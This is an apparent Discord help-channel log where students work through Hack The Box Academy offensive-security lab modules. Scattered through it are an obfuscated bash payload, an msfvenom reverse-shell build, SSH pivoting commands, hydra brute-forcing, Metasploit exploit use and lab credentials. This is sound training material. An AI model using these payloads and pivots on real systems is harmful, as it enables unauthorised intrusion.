was i off on the sam.list part?

rustic sage
#

i dont remember that far back, you're on your own with the question on that lol.

dire abyss
#

also running hydra against FTP results are super fast but doesnt tell me whether a pw is good or not

rustic sage
#

The more I dive into the AD enum and attacks module the more I ask why is Microsoft implementing all these things? Why not just keep things simple? xD

dire abyss
#

actually get hit with a few logging errors

rustic sage
#

yes the more threads you use the more processing power you use.

dire abyss
#

sorry the logging errors came from crackmapexec not hyrda when i tried against FTP

rustic sage
#

yeah use hydra not cme

dire abyss
#

is that just preference in tools or is hydra actually better?

shell nexus
#

accidently terminated my pwnbox so i'll have to try again tomorrow, however as a question with the "tutorial"

when i attempted connecting to the ip given, it said that the server took too long, what does on do in a situation like that? is there anything i missed?

rustic sage
#

if one doesn't work may as well use the one that does

rustic sage
tranquil axle
# potent ermine Hmm I thought I was in the right track based on the question but I guess not

okay so you won't get far with the commandline, you can decode/decompress the initial command like you did and when you do you see there is another base64 decoded command in there that is also xor'd with the value "35", if you put this in cyberchef you can see bytecode (so not really readable) and the URL it tries to talk to. But this is just the setup script for a beacon, that part does not include which powershell script was run.

What I did was ||dump the memory of the pid with volatility windows.memmap.Memmap --pid 6744 --dump and then "manually" use a texteditor to find interesting strings. Sadly no good texteditor was available on the VM and also no strings.exe, so I had to use notepad shudder. I had to search/replace all spaces with nothing, because some of the code was being displayed as N a m e = f i e l d (I assume due to textencoding) so a normal search wouldn't find it. Afterwards looking for the most popular Powersploit script names with ctrl +f found like 4 results in one block that I could crosscheck with github and see that it indeed came from this specific Powersploit file. It was a code block near the beginning of the script that set up some structs/enums. Other parts of the script were not included, really just that one block. There are a bunch of other powershell related code snippets and file names (some sounding really juicy like "disable-defender.ps1"), but those are all just noise and to be ignored. I'm not sure if I had found this without already knowing what I'm looking for||

hazy grotto
# weak fractal anyone ?

Have you attempted to search the Discord for your question? I haven't done this module or I would attempt to help. Also I think it is on the newer side so sometimes you gotta ask at different times until someone who has done it can help. HOpe this helps

naive wadi
#

got some strange behaviour from bashfuscator if I run the generated payload on the pwnbox bash -c 'eval "$(W0=(w \ t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"' it works fine but if I run on my Kali or base linux install I get this error bash: line 1: p/e: No such file or directory

#

I have switched out to a basic shell incase zsh etc was interfering in some way

hazy grotto
#

@brisk socket Did you get your question solved on that PW attacks module? For some reason I'm unable to respond to the question in the community help section.

||If you haven't already.... Make sure you find the password.bak and shadow.bak in the .backups directory||.

hazy grotto
jade raptor
#

search explotexploit

quick crane
upper ruin
#

Pivoting,tunneling and port forwarding.
**What IP address is used on the attack host to ensure the handler is listening on all IP addresses assigned to the host? (Format: x.x.x.x) **

So I basically completed all the steps until the powershell invoke web request. I ain't got the slightest idea: How do I access powershell?
Do I have to RDP in some sort of way? Everything else is set up, just that part bugs me a little bit.

sharp bluff
#

I have a reverse shell but couldnt figure out the command to preview the file that is shared from root with a user, any help would be appreciated

old wren
#

I'm having the same issue... I've already reset the machine a couple of times, tried terminating a couple of times, waiting in between tries... it seems that this machine is unnecessarily slow to start services and buggy. I managed to get an anonymous login in the end, but after like 15 tries and an hour of resetting.

hazy grotto
upper ruin
#

InternalIPOfPivotHost is 172.16.5.129, right?

#

I should not be mistaken.

hazy grotto
#

That is the listening IP of the payload

#

What did you use for your msconsole settings?

upper ruin
#

Same payload windows, x64,https, and basically 1:1 with the example.

#

Now I ain't sure if it's about the ports.

#

There is smth going over my head.

soft cedar
#

How did you get that address?

hazy grotto
#

lhost sould be 0.0.0.0

#

port 8000

#

Then transfer your payload to the pivot host with scp

upper ruin
#

Yup.

#

Done that.

hazy grotto
#

pivot IP is this @10.129.202.64

upper ruin
#

Duh?

hazy grotto
#

Well. it could be different depending on the machine

upper ruin
#

Isn't that external?

plush wren
upper ruin
hazy grotto
soft cedar
hazy grotto
#

Did you start a SSH reverse port forward?

upper ruin
#

No use if I had mistaken that IP at first.

#

But yeah, I did.

hazy grotto
#

Then iniate the local port forward?

upper ruin
#

ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN

soft cedar
upper ruin
hazy grotto
#

Then RDP

#

xfreerdp /v:127.0.0.1 /u:victor /p:p

#

Use the correct pass

upper ruin
#

Woah, there's no RDP?

#

Do I even have to do it?

#

Are we on the same page.

#

I ain't talking about the 3rd section.

#

I am talking about Remote/Reverse Port forwarding with SSH.

hazy grotto
#

The answer to the second question in the module.

novel finch
#

Goooood morning folks!

hazy grotto
#

Look through what i sent

novel finch
#

I have the dumb question for the day!

upper ruin
#

Will do, ser. I just wanna get that shell, so I know I have done it,

#

Thank You in advance,

novel finch
#

When using msfconsole on machines, am I setting the lhost (my machine) to the default ip address or the tun0 ip address?

hazy grotto
upper ruin
#

I sit the same creds as before?

#

Is it*

#

Should be, Ima look through it.

hazy grotto
soft cedar
hazy grotto
#

I believe thats why you RDP in. SO that you can do that.

novel finch
#

I think then my only other issue is the targeturi

soft cedar
#

Also which module /section?

novel finch
#

Working the getsimple box on the getting started module. I enumeratued and found the admin page. guessed the password first time (admin) and found the file upload section. checked msfconsole and they have an exploit for that page. set the lhost, the rhost, the username and password, and changed the target uri to /admin/upload.php

#

msf console spits back this:

#

[*] Started reverse TCP handler on 10.10.14.71:4444
Authenticating...

  • The authentication process is done successfully!
  • Extracting Cookies Information...
  • Exploit aborted due to failure: no-access: 10.129.112.222:80 - Authentication failed
    [*] Exploit completed, but no session was created.
#

This is the only targeturi that gets as far as successful authentication

soft cedar
novel finch
#

Thank you

soft cedar
novel finch
#

yeah I've set it to /admin/upload.php

soft cedar
novel finch
#

Oh wow, really?

#

So that did the same, exploit failed

#

I might have to do some more digging

soft cedar
#

the admin page URL was located at /admin.page, setting the targeturi to / would indicate the root path for the target (getsimple blog)

novel finch
#

Aaah of course

soft cedar
novel finch
#

I'm fairly confident

#

I keep getting as far as upload payload

#

But then it fails

soft cedar
#

I think there are two modules for getsimple iirc. Try the parameters on both. If it doesnโ€™t work recheck your rhost/lhost, ping your target to make you sure it is still active.. and last resort reset the target.

novel finch
#

Okay!

#

I'll try the other one then

#

Fml it worked. The worst part was it didn't even ask for a password

soft cedar
upper ruin
#

Which means that i have to refer back to local port forwarding?

#

Problem being there's no 3389 port open.

#

Kinda left out w/ 20 and 80.

hazy grotto
#

ssh -R 172.16.5.129:8080:0.0.0.0:8000 ubuntu@10.129.202.64

#

ssh -L 3389:172.16.5.19:3389 ubuntu@10.129.202.64

#

Then RDP. no proxy

upper ruin
#

So I gotta do a local anyway.

#

Lemme try these.

hazy grotto
#

I've got about 30 mins before i go to work. SO hurry if you can or i won't be able to help

upper ruin
#

And as per usual it opened up ssh.

novel finch
#

Next stupid question: I've used curl to download LinEnum.sh from my machine and the shell inside meterpreter decided to just have the script written out rather than as a .sh file?

upper ruin
#

How am I supposed to xfreerdp.

hazy grotto
#

use 127.

upper ruin
#

So from my own terminal to use local ip?

hazy grotto
#

yes

upper ruin
#

thats crazy

soft cedar
#

You really should revisit the section and module as a whole.

fathom pendant
upper ruin
#

Yeah, everything's just confusing as hell.

novel finch
quick crane
soft cedar
quick crane
hazy grotto
upper ruin
#

I am like, stuck on that. It's just melting my brain.

#
  • RDP worked, Lemme download the stuff rn.
hazy grotto
#

Did the rdp work?

fathom pendant
hazy grotto
soft cedar
hazy grotto
#

start a python server on web01

quick crane
fathom pendant
hazy grotto
#

Initiate the payload once its transferred and you should get a shell in meterpreter

upper ruin
#

I didn't know I had to refer myself to the old section.

#

Is there any indian kid that can explain port forwarding and tunneling.

#

On YT.

hazy grotto
#

Theres a white kid

fathom pendant
#

or at least concepts you should know

soft cedar
tulip bobcat
#

does anyone know if connection problems have been solved ? like the not being able to spawn targets or to reach them ?

hazy grotto
# upper ruin I didn't know I had to refer myself to the old section.

Cthulhu fhtagn and happy holidays, current and future cultists!

2:34 Explanation of pivoting at a high level
15:38 Walkthrough begins

In this very special video, we are tackling Day 9 of TryHackMe's Advent of Cyber 2022! This challenge revolves around pivoting from one host to another, and also covers such madness as Metasploit, Docker, proxyc...

โ–ถ Play video
fathom pendant
soft cedar
fathom pendant
#

with ligolo

#

i heavily prefer ligolo over chisel

soft cedar
fathom pendant
#

no

#

it's not permanently down

upper ruin
#

ok i am confused

fathom pendant
#

message support

soft cedar
#

Switch your vpn server

upper ruin
#

Oh no, nvm

tulip bobcat
#

@fathom pendant you seem to know a lot, do you happen to know an ETA for the connection problems ?

fathom pendant
#

no idea

#

i'm not staff or anythign

#

i just repeat what i've seen staff explicitly state

tulip bobcat
#

ah ok

hazy grotto
upper ruin
#

ima get it dw

hazy grotto
#

Good luck im out

upper ruin
#

Holy sh, it worked

hazy grotto
#

Did you get the shell in meterpreter?

upper ruin
#

YEEEEEEEES

#

OH MY GOD

#

FINALLY

lapis pelican
#

I saw an online article that states adding .rb files in /home/kali/.ms4/modules/webshells/50064.rb to add this exploit in Metasploit. I ran updatedb as well. Unfortunately, this does not work. How can I add a module?

fathom pendant
#

also it'll be on the jump host in shells&payloads

#

not on your machine

upper ruin
# upper ruin OH MY GOD

Got the shell, now the question is: What IP address is used on the attack host to ensure the handler is listening on all IP addresses assigned to the host? (Format: x.x.x.x)

Follow me through, do I have to netstat on the shell session that I got?

lapis pelican
upper ruin
#

or you can use multi handler

#

multi handler with a custom payload

lapis pelican
tranquil axle
fathom pendant
#

you don't even need the path

upper ruin
#

locate 50064.rb

fathom pendant
#

locate might not show it because .ms4 is a hidden directory

upper ruin
fathom pendant
#

but I can assure you: it's there

fathom pendant
#

that should be enough of a hint

#

yes

upper ruin
#

U mean that

short hare
fathom pendant
#

so just take out the port

upper ruin
#

That's a joke

#

What the f

fathom pendant
lapis pelican
fathom pendant
#

0.0.0.0 is a wildcard meaning all interfaces

#

:P it's basics

fathom pendant
#

use just 50064.rb

lapis pelican
upper ruin
#

As you can see, I left the basics and jumped out of a plane with a deep dive suit

fathom pendant
#

they go from the .ms4 root

#

so it'd be like
use modules/webapps/50064.rb

lapis pelican
#

Yes, that's correct.

#

I tried it just few seconds before you replied and it worked.

fathom pendant
#

not the whole linux path

lapis pelican
#

It had to be a relative path.

placid edge
#

anyone else having issues using xfreerdp?

#

it takes a while than i get this:

[08:21:33:368] [3797:3798] [WARN][com.freerdp.crypto] - Certificate verification failure 'self-signed certificate (18)' at stack position 0
[08:21:33:369] [3797:3798] [WARN][com.freerdp.crypto] - CN = ACADEMY-EA-MS01.INLANEFREIGHT.LOCAL
[08:21:43:146] [3797:3798] [ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[08:21:43:148] [3797:3797] [ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]
#

i can ping the machine tho

#

i can use evil-winrm to connect as wel

#

tbf even changin directory has a hold of at least 10 seconds

hazy grotto
analog dock
placid edge
#

RDP to 10.129.147.224 with user "htb-student" and password "Academy_student_AD!"

#

the task is to rdp

analog dock
#

Wait other way around, /cert-ignore

#

Or was it /cert:ignore

placid edge
#

[08:36:34:446] [11318:11319] [ERROR][com.freerdp.core.connection] - Timeout waiting for activation
[08:36:34:447] [11318:11318] [ERROR][com.freerdp.core] - freerdp_abort_connect:freerdp_set_last_error_ex ERRCONNECT_CONNECT_CANCELLED [0x0002000B]

analog dock
#

Who knows

placid edge
#

damn

analog dock
#

What command are you using?

placid edge
#

xfreerdp /v:10.129.147.224 /u:htb-student /p:'Academy_student_AD!' /cert-ignore

next bronze
#

looks like the target didn't spawn correctly or something, did you try resetting?

placid edge
#

yup

#

had this issue since last night as well

#

might need to contact support on this one

#

ยจfixed it by switching vpn and hard reseting everything

dry pumice
#

https://forum.hackthebox.com/t/intro-to-windows-command-line-skill-assessment-question/273027
Hello, I have the same problem describe on the post on the module "Introduction to Windows Command Line", I wonder if anyone now how it have been fix ?
I try different version of the last answer as the password for user5 and I check that my clipboard paste it correctly but I can't ssh on the machine ๐Ÿ™ƒ

fathom pendant
#

You can either create a new tun interface or close and start a new tunnel session

fathom pendant
dry pumice
#

Yeah I know and I tried it several times but it didn't accept it

placid edge
#

wtf.

โ””โ”€โ”€โ•ผ #sudo ./agent -connect 10.10.x.x:11601
sudo: ./agent: command not found
โ”Œโ”€[โœ—]โ”€[root@par01]โ”€[~]
โ””โ”€โ”€โ•ผ #ls
agent  Desktop  go  Templates
fathom pendant
placid edge
#

have anyone dealt with this before?

#

either i dont have permission or it doesnt find the file. Even tho i am root and in the same directory

fathom pendant
placid edge
#

yup

#

it stil gives me permission denied

fathom pendant
#

Weird

dry pumice
#

same result with the single quote

placid edge
#

oh

#

i think i realized my extreamly stupid mistake. The keyboar layout set a - instead of a + for me @fathom pendant

brisk socket
fathom pendant
lucid veldt
#

One of my main weaknesses is adjusting web requests in burp to get information disclosure or RCE. Does anyone here know which module would help with that issue?

fathom pendant
#

In password, shadow, & opasswd

dry pumice
#

Do you think it's an issue that I should ask the support about ? I found it weird that I have found a post about it

fathom pendant
#

Probably, but it should work

dry pumice
#

How many users exist on this host? (Excluding the DefaultAccount and WDAGUtility)

fathom pendant
#

Ah

dry pumice
#

I know I can find the answer to the next question quickly, the fact that I can't log really draw me back

brisk socket
fathom pendant
dry pumice
#

Yeah that the one I try has pasword for user 5

fathom pendant
#

Make sure that the words are properly capitalized

dry pumice
#

Except the first one they are not capitalized right ?

fathom pendant
#

"The" should be capitalized

#

D...i...T...nest

#

Looking at it rn

dry pumice
#

what the

#

the q4 accept it without it

#

i'm really sorry it works now, thank you

fathom pendant
#

The answer that you found for q4 was capitalized btw, this is why you copy/paste

#

Well user4* user4 is q5 since it starts with user0

upbeat yew
#

Hello, i practice on htb academy for a month now and i have a question about the skill assessment of Hacking WordPress course. I've already entered the command: sudo sh -c echo '"IP inlanefreight.com" >> /etc/hosts"' and sudo sh -c echo '"IP blog.inlanefreight.com" >> /etc/hosts' And when I go to the first questions with the wpscan, etc. I have a response where there is no WordPress service. So if somebody has a hint, i'll be happy. Thanks

wild helm
#

Trying to spawn targets has been a pain lately

placid edge
#

anyone that could help me with issue. Its probably a issue related to my compiler but i have a GLIBC issue after compiling, because i get like:

./agent: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./agent)
./agent: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./agent)

When trying to run my ligolo-ng on my target machine

fathom pendant
#

The author has them all available

placid edge
#

oh shit. I couldnt find them

fathom pendant
#

They're linked on the gh page

snow ridge
#

Anyone have hints for NoSQLi Skills assessment 2? I've located 3 endpoints ||/login /forgot and /reset|| and one valid user ||bmdyy|| I have tried SSJI, json, normal nosql payloads for all fields and I just cant make anything to work. It would be nice if I can get some direction where I should be looking for.

long basin
#

@snow ridge can dm

snow ridge
lethal atlas
#

can someone explain what I am doing wrong in windows Priv esc - DnsAdmins. I have confirmed that I am an Administrator but when I run the command to confirm the registry key was added I am getting "Access is denied" Now it wont even spawn the target so I give up for today.

thin steppe
#

In Intro to Web Applications, there's a question I'm confused by. https://academy.hackthebox.com/module/75/section/756

It says "Check the above login form for exposed passwords. Submit the password as the answer."

Are they referring to the image of the login that is on the page I have linked here?? Or am I supposed to spin up the target and connect to it? And if so, after I do that, where do I find this login screen that is being referenced?" ๐Ÿ™

#

I've tried "test" because the lesson what's on that page seems to indicate that the exposed password is "test" for the user "test", but that doesn't work, so I'm feeling like I've misunderstood something.

fathom pendant
#

So the spawned ip

thin steppe
#

I've tried accessing the IP address of the spawned target in the pwnbox and it 404s.

fathom pendant
#

Is it giving you a public-ip:port?

thin steppe
#

It was an ip:port, I just tried spawning the target for a 3rd time after you confirmed for me and of course it worked. Thanks.

cobalt osprey
#

hi i am currently doing the linux stack buffer overflow
i was wondering why when i have to use the run commeand on gdb with python i have to muliply x55 for like 1200 times or in the skill assessment for 2500 before to get the offset, what is this number and why i have to choose 1200 or 2500

lethal atlas
royal fulcrum
#

does anyone had issues accessing the ip address on the browser or is it just me ?

dire abyss
#

like you cant browse to the site hosted on the target ip?

#

if so then check to see if theres even a site being hosted with nmap and if there is you may need to change your /etc/hosts file or use the right port (i.e. 10.129.10.10:80)

fathom pendant
#

Some targets don't have a web service

#

Or they have it on a non-standard port (i.e. public-ip:port)

rustic sage
#

The Advanced Auth module from the CWEE path is sick. Recommended.

royal fulcrum
fathom pendant
#

are you using http or https

royal fulcrum
#

http

fathom pendant
#

What module/section

royal fulcrum
#

tier 2 crocodile

fathom pendant
#

If it's a box: then you're gonna need to add it to your /etc/hosts

fathom pendant
#

This channel is specifically for htb academy modules

royal fulcrum
#

oh shoot. didnt notice that

proven panther
#

Hello, im doing the introduction to bash scripting module, on the task at the end of 'flow control-loops' I have written the script, compared it with other peoples online, but when i try to run it in the terminal i get errors saying the decrypt function is not found, however this is a function already given to me in the 'exercise code'? any ideas on what i can do?

thorn urchin
harsh path
#

Hi, Im doing intro to assembly language and i kid you not been stuck on "debugging with GDB" for a week now, I need guidance...Please and thank you

native turtle
#

guys I'm stuck with skills assessment pivot and tunneling section, I can't spawn a meterpreter session with the remote windows host, I followed the resources but I didn't receive connection back

#

only ssh dynamic port forwarding works for now and I can rdp with proxychains

#

but I would like to spawn a meterpreter session with remote windows target for transfer the lsass dump file

fathom pendant
#

There's more than one way to transfer files

native turtle
#

this is what I tried to open a meterpreter session on windows target

#

msfvenom -p windows/x64/meterpreter/reverse_https lhost=172.16.5.15 -f exe -o backupscript.exe LPORT=9999

#

transfered the payload to ubuntu and then to windows

fathom pendant
#

If you don't have a port forward set up to listen to it won't connect

native turtle
#

I did this before ofcourse

#

and set up msfconsole listener

fathom pendant
#

Gonna be honest with ya dude. You can transfer files in other ways, windows has native smb and xfreerdp has /drive:

native turtle
#

ok so Im make things harder

fathom pendant
#

Yes

native turtle
#

thank you

fathom pendant
#

And even still: ligolo-ng works wonders

native turtle
#

gonna look to /drive parameter

fathom pendant
#

Way better than any of the pivot tools shown

stark vortex
#

Hi, I'm currently doing the Linux credential hunting section in the Password Attacks module but I'm a bit lost. I'm unsure of how you get a foothold on the system, I've tried bruteforcing creds from the provided wordlists and the creds in the section tip don't lead to anything, smb has null auth but no permissions on the shares, a nudge in the right direction would be much appreciated thanks

fathom pendant
#

k* is the user

#

Iirc

stark vortex
#

thanks

fathom pendant
#

You need to start with another user then use another tool referred to by the module to get the answer

native turtle
#

didn't know it's very useful

#

is hack the box down?

#

(accademy)

sullen bone
#

Seems so.

native turtle
#

๐Ÿฅฒ

buoyant void
#

Damn feels like every day I've tried to sign on this week there's been some problem

stark vortex
#

yeah somethings up for me too

sullen bone
#

I'm sure glad I passed my exam during a more stable time.

buoyant void
#

I can't even sign in

main egret
#

Seems down ๐Ÿ˜ฆ

buoyant void
#

Getting error code 525

fathom pendant
#

Just wait and be patient likely 30 minutes at most

#

Otherwise contact support

sullen bone
#

Aaaaand it's back.

stark vortex
#

that was quick

eager creek
#

yay... back for me too

faint rampart
buoyant void
#

Nice it's back now. Gonna try to get through the entire AD module by the end of day, gonna power through it Stonks

low crescent
#

~~Module: Advanced XSS and CSRF Exploitation
Section: XSS Filter Bypasses
Question: Bypass the XSS filter to exploit the XSS vulnerability to exfiltrate data the victim can access and find the flag.

I was able to bypass the XSS filter, and exfiltrate the page source, but I am unclear on where the flag is supposed to be located at~~

Edit: Solved ๐Ÿ˜…

rustic sage
#

Can anyone recommend me a ip website so i type in an email in and i get there ip

fathom pendant
#

That's also just not how that works

runic remnant
#

are the servers still messed up, im trying to rdp to a target and it doesnt work for any vpn region

lofty solstice
#

it took me like 2 hours to figure out why "if [$counter -eq 35]" wasn't working in bash FeelsBadMan

thin parrot
#

the linux basics module is trash

fathom pendant
lofty solstice
thin parrot
#

These questions are becoming more and more unsolvable with what they give you

fathom pendant
#

Basic research can help you figure some stuff out, but like I said, it's a bit disjointed

#

The worst is the curl one for unique paths

thin parrot
#

I have been having to resort to the internet but I dont like that because I cant tell if I'm learning or not

#

Thats what I'm on right now

fathom pendant
#

Cause it relates to things not taught yet

thin parrot
#

ok so im not an idiot great

fathom pendant
#

But researching things will take maybe a few minutes to find. Even on the discord you can find people that figured it out

thin parrot
#

I've been using the forums... but then they just give you the answer

fathom pendant
#

And for these intro modules that's fine

#

The answer revolves around some regex stuff

#

But like I said earlier, it's disjointed, iirc regex comes after

thin parrot
#

yeah it seems they expect you to know a little about html as well ig

fathom pendant
#

Eh not really, it's more knowing urls

#

ยฏ_(ใƒ„)_/ยฏ

thin parrot
#

Might be a dumb question but does the or operator still return results if both inputs match

low crescent
#

Nope

thin parrot
#

or does it just stop reading the line and returns it if 1 is found

fathom pendant
#

A or b match

low crescent
#

It returns only the result of a first match to be precise

fathom pendant
#

Ah misunderstandoos

thin parrot
#

Okay that makes sense

fathom pendant
#

Yeah it only hits the first match

low crescent
#

Depending on the context, if you need both outputs returned, in bash you would do something like this:

id ; ls

It will execute both commands regardless of their exit status

buoyant void
inner orchid
#

"Hello everyone, I have a question about the following statement (assertion): "[...]However, the ticket (TGS-REP) is encrypted with the service accountโ€™s NTLM hash...'" found in the section 'Kerberoasting-from Linux' of the module 'ACTIVE DIRECTORY ENUMERATION & ATTACKS.'" is this accurate,? i'm confused.

thin parrot
buoyant void
thin parrot
#

I already work a part time job thats entirely unrelated to anything I've studied on top of that

buoyant void